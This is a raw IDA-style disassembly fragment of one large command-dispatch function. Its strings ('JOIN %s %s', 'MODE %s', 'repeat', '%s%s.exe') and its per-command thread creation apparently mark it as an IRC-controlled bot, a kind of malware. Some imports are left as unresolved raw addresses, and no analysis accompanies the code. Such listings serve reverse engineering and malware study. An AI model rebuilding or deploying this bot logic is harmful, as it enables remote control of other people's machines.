loc_407B56: ; CODE XREF: sub_401ACD+4EA4j
; sub_401ACD+4EBBj
push [ebp+arg_10]
call sub_41B779
mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
call sub_41B779
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+var_88]
mov [ebp+var_1238], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AAA8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset loc_4103AB
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407C42
loc_407C2C: ; CODE XREF: sub_401ACD+6173j
cmp [ebp+var_1118], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 26A0F44h
jmp short loc_407C2C
; ---------------------------------------------------------------------------
loc_407C42: ; CODE XREF: sub_401ACD+615Dj
call near ptr 26B0857h
nop
push eax
push offset unk_42AA64
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407C53: ; CODE XREF: sub_401ACD+4E76j
; sub_401ACD+4E8Dj
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41B779
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAC
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB2
; ---------------------------------------------------------------------------
loc_407CAC: ; CODE XREF: sub_401ACD+61C9j
mov [ebp+var_2668], ebx
loc_407CB2: ; CODE XREF: sub_401ACD+61DDj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC9
push esi
call sub_41B779
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCF
; ---------------------------------------------------------------------------
loc_407CC9: ; CODE XREF: sub_401ACD+61EBj
mov [ebp+var_266C], ebx
loc_407CCF: ; CODE XREF: sub_401ACD+61FAj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42AA38
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset loc_4163FA
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407D80
loc_407D6A: ; CODE XREF: sub_401ACD+62B1j
cmp [ebp+var_2658], ebx
jnz loc_407279
push 32h
call near ptr 26A0F44h
nop
jmp short loc_407D6A
; ---------------------------------------------------------------------------
loc_407D80: ; CODE XREF: sub_401ACD+629Bj
call near ptr 26B0857h
nop
push eax
push offset unk_42A9F8
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407D91: ; CODE XREF: sub_401ACD+4E48j
; sub_401ACD+4E5Fj
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3494], esi
push [ebp+arg_10]
push offset unk_42A9BC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset word_414A92
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407E68
loc_407E52: ; CODE XREF: sub_401ACD+6399j
cmp [ebp+var_3284], ebx
jnz loc_407279
push 32h
nop
call near ptr 26A0F44h
jmp short loc_407E52
; ---------------------------------------------------------------------------
loc_407E68: ; CODE XREF: sub_401ACD+6383j
call near ptr 26B0857h
nop
push eax
push offset unk_42A984
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407E79: ; CODE XREF: sub_401ACD+4D1Bj
; sub_401ACD+4D32j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_306C], esi
push [ebp+arg_10]
push offset unk_42A954
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset byte_4137CD
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407F50
loc_407F3A: ; CODE XREF: sub_401ACD+6481j
cmp [ebp+var_2E5C], ebx
jnz loc_407279
push 32h
nop
call near ptr 26A0F44h
jmp short loc_407F3A
; ---------------------------------------------------------------------------
loc_407F50: ; CODE XREF: sub_401ACD+646Bj
nop
call near ptr 26B0857h
push eax
push offset unk_42A91C
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407F61: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41B5F0
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3CEC], esi
push [ebp+arg_10]
push offset unk_42A8EC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset dword_412A54
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408049
loc_408033: ; CODE XREF: sub_401ACD+657Aj
cmp [ebp+var_3A5C], ebx
jnz loc_407279
push 32h
nop
call near ptr 26A0F44h
jmp short loc_408033
; ---------------------------------------------------------------------------
loc_408049: ; CODE XREF: sub_401ACD+6564j
nop
call near ptr 26B0857h
push eax
push offset unk_42A8B4
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_40805A: ; CODE XREF: sub_401ACD+4BC4j
; sub_401ACD+4BDBj
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41B5F0
push edi
call sub_41B779
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A5
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_4080A5: ; CODE XREF: sub_401ACD+65C4j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A884
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408131
loc_40811B: ; CODE XREF: sub_401ACD+6662j
cmp [ebp+var_161C], ebx
jnz loc_406CDF
push 32h
call near ptr 26A0F44h
nop
jmp short loc_40811B
; ---------------------------------------------------------------------------
loc_408131: ; CODE XREF: sub_401ACD+664Cj
nop
call near ptr 26B0857h
push eax
push offset dword_42A848
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_408142: ; CODE XREF: sub_401ACD+4B84j
; sub_401ACD+4B9Bj
push edi
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408235
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41B980
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A81C
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset word_412E9E
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408224
loc_408212: ; CODE XREF: sub_401ACD+6755j
cmp [ebp+var_1D54], ebx
jnz short loc_40828C
push 32h
call near ptr 26A0F44h
nop
jmp short loc_408212
; ---------------------------------------------------------------------------
loc_408224: ; CODE XREF: sub_401ACD+6743j
nop
call near ptr 26B0857h
push eax
push offset unk_42A7E4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_408235: ; CODE XREF: sub_401ACD+6684j
push offset unk_42A7AC
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40823F: ; CODE XREF: sub_401ACD+4B56j
; sub_401ACD+4B6Dj
push edi
push [ebp+arg_10]
nop
call near ptr 26D0C79h
test eax, eax
jz short loc_40826C
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset unk_42A788
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_40828C
; ---------------------------------------------------------------------------
loc_40826C: ; CODE XREF: sub_401ACD+677Ej
push offset dword_42A77C
call sub_41814D
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
loc_408289: ; CODE XREF: sub_401ACD+2F2Bj
; sub_401ACD+5570j
add esp, 0Ch
loc_40828C: ; CODE XREF: sub_401ACD+2137j
; sub_401ACD+2ECDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4082A9: ; CODE XREF: sub_401ACD+57C7j
call sub_409A73
add esp, 14h
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_4082B6: ; CODE XREF: sub_401ACD+4B28j
; sub_401ACD+4B3Fj
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41B980
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082F0
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082F0
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4082F0: ; CODE XREF: sub_401ACD+6803j
; sub_401ACD+6812j
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_42A74C
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset word_416CAE
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4083A2
loc_408390: ; CODE XREF: sub_401ACD+68D3j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BD
push 32h
nop
call near ptr 26A0F44h
jmp short loc_408390
; ---------------------------------------------------------------------------
loc_4083A2: ; CODE XREF: sub_401ACD+68C1j
nop
call near ptr 26B0857h
push eax
push offset unk_42A710
loc_4083AE: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_4083BD: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D03
; ---------------------------------------------------------------------------
loc_4083C5: ; CODE XREF: sub_401ACD+4AFAj
; sub_401ACD+4B11j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B590
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+arg_10]
mov [ebp+var_63C], esi
call sub_41B779
add esp, 10h
cmp eax, esi
jnz short loc_408404
mov [ebp+var_638], 5
loc_408404: ; CODE XREF: sub_401ACD+692Cj
cmp [ebp+var_C], ebx
jz loc_406CDF
push edi
push [ebp+var_C]
call sub_41B900
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDF
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 2690C14h
test eax, eax
jnz short loc_40844D
push offset unk_42A6EC
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40844D: ; CODE XREF: sub_401ACD+6974j
push edi
push offset dword_42A6D0
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_408458: ; CODE XREF: sub_401ACD+4ACCj
; sub_401ACD+4AE3j
push edi
push offset aScorservs ; "scorservs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085D1
lea eax, [ebp+var_48F0]
push eax
push 104h
nop
call near ptr 26D0000h
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_17D0]
push eax
call sub_40AD81
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B886
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084ED
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F3
; ---------------------------------------------------------------------------
loc_4084ED: ; CODE XREF: sub_401ACD+6A0Aj
mov [ebp+var_23C0], ebx
loc_4084F3: ; CODE XREF: sub_401ACD+6A1Ej
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40850A
push esi
call sub_41B779
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_408510
; ---------------------------------------------------------------------------
loc_40850A: ; CODE XREF: sub_401ACD+6A2Cj
mov [ebp+var_23C4], ebx
loc_408510: ; CODE XREF: sub_401ACD+6A3Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C4]
push offset dword_42A698
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset loc_4163FA
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4085C0
loc_4085AA: ; CODE XREF: sub_401ACD+6AF1j
cmp [ebp+var_23B0], ebx
jnz loc_406CDF
push 32h
call near ptr 26A0F44h
nop
jmp short loc_4085AA
; ---------------------------------------------------------------------------
loc_4085C0: ; CODE XREF: sub_401ACD+6ADBj
nop
call near ptr 26B0857h
push eax
push offset dword_42A65C
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4085D1: ; CODE XREF: sub_401ACD+699Aj
push offset dword_42A614
loc_4085D6: ; CODE XREF: sub_401ACD+2E74j
; sub_401ACD+457Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_406CDF
; ---------------------------------------------------------------------------
loc_4085E9: ; CODE XREF: sub_401ACD+4A9Ej
; sub_401ACD+4AB5j
push [ebp+var_8C]
push offset dword_42D02C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A604
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
push [ebp+arg_10]
call sub_41B779
add esp, 28h
test eax, eax
jle short loc_408674
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
pop ecx
push eax
call near ptr 26A0F44h
nop
loc_408674: ; CODE XREF: sub_401ACD+6B8Fj
push offset dword_42A5F0
call sub_4151AD
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408688: ; CODE XREF: sub_401ACD+4A70j
; sub_401ACD+4A87j
push [ebp+var_8C]
push offset dword_42D02C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409855
push edi
push [ebp+var_C]
call sub_41B900
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C070
add esp, 10h
test eax, eax
push esi
jz short loc_408746
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A604
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A5D8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+arg_10]
call sub_41B779
add esp, 14h
test eax, eax
jle loc_409855
push [ebp+arg_10]
call sub_41B779
add eax, [ebp+arg_24]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408746: ; CODE XREF: sub_401ACD+6BFBj
push offset unk_42A5A4
loc_40874B: ; CODE XREF: sub_401ACD+7543j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_40875A: ; CODE XREF: sub_401ACD+74CBj
; sub_401ACD+7624j
cmp [ebp+var_8], ebx
jnz short loc_40877B
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_40877B: ; CODE XREF: sub_401ACD+6C90j
; sub_401ACD+72C8j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40878C: ; CODE XREF: sub_401ACD+4A42j
; sub_401ACD+4A59j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_208C], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_2218], esi
push offset unk_42A570
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset dword_4143CC
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40884C
loc_40883A: ; CODE XREF: sub_401ACD+6D7Dj
cmp [ebp+var_2088], ebx
jnz short loc_408867
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40883A
; ---------------------------------------------------------------------------
loc_40884C: ; CODE XREF: sub_401ACD+6D6Bj
nop
call near ptr 26B0857h
push eax
push offset unk_42A534
loc_408858: ; CODE XREF: sub_401ACD+6E8Aj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408867: ; CODE XREF: sub_401ACD+6D73j
; sub_401ACD+6E6Ej
cmp [ebp+var_8], ebx
jnz loc_409631
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_409629
; ---------------------------------------------------------------------------
loc_408887: ; CODE XREF: sub_401ACD+4A14j
; sub_401ACD+4A2Bj
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2220], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_23AC], esi
push offset dword_42A508
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset dword_413B78
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40894B
loc_408935: ; CODE XREF: sub_401ACD+6E7Cj
cmp [ebp+var_221C], ebx
jnz loc_408867
push 32h
nop
call near ptr 26A0F44h
jmp short loc_408935
; ---------------------------------------------------------------------------
loc_40894B: ; CODE XREF: sub_401ACD+6E66j
nop
call near ptr 26B0857h
push eax
push offset dword_42A4CC
jmp loc_408858
; ---------------------------------------------------------------------------
loc_40895C: ; CODE XREF: sub_401ACD+49E6j
; sub_401ACD+49FDj
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C4
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 10h
loc_408979: ; CODE XREF: sub_401ACD+6F17j
test eax, eax
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
loc_408995: ; CODE XREF: sub_401ACD+7A56j
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A4BC
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4089C0: ; CODE XREF: sub_401ACD+49B8j
; sub_401ACD+49CFj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A4B0
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 14h
jmp short loc_408979
; ---------------------------------------------------------------------------
loc_4089E6: ; CODE XREF: sub_401ACD+498Aj
; sub_401ACD+49A1j
push edi
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
mov esi, [ebp+arg_10]
push esi
call sub_41B779
add esp, 10h
test eax, eax
jle loc_409855
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A4BC
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset dword_42A494
loc_408A4C: ; CODE XREF: sub_401ACD+700Aj
; sub_401ACD+7079j ...
call sub_415221
jmp loc_404934
; ---------------------------------------------------------------------------
loc_408A56: ; CODE XREF: sub_401ACD+495Cj
; sub_401ACD+4973j
cmp [ebp+var_C], ebx
jz loc_409855
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A85
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A48C
push eax
call sub_41B886
add esp, 0Ch
loc_408A85: ; CODE XREF: sub_401ACD+6FA1j
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A4BC
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
add esp, 0Ch
push esi
push edi
push offset dword_42A470
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408ADC: ; CODE XREF: sub_401ACD+492Ej
; sub_401ACD+4945j
cmp [ebp+var_C], ebx
jz loc_409855
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push esi
push offset dword_42A4BC
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
add esp, 0Ch
push esi
push edi
push offset dword_42A454
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408B4B: ; CODE XREF: sub_401ACD+4900j
; sub_401ACD+4917j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push esi
push offset unk_42A42C
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_408B87: ; CODE XREF: sub_401ACD+48D2j
; sub_401ACD+48E9j
push [ebp+var_8C]
push offset dword_42D02C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi
push offset dword_42A420
push [ebp+arg_4]
call sub_409A2D
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
add esp, 10h
push eax
call near ptr 26A0F44h
nop
push [ebp+esi+var_84]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
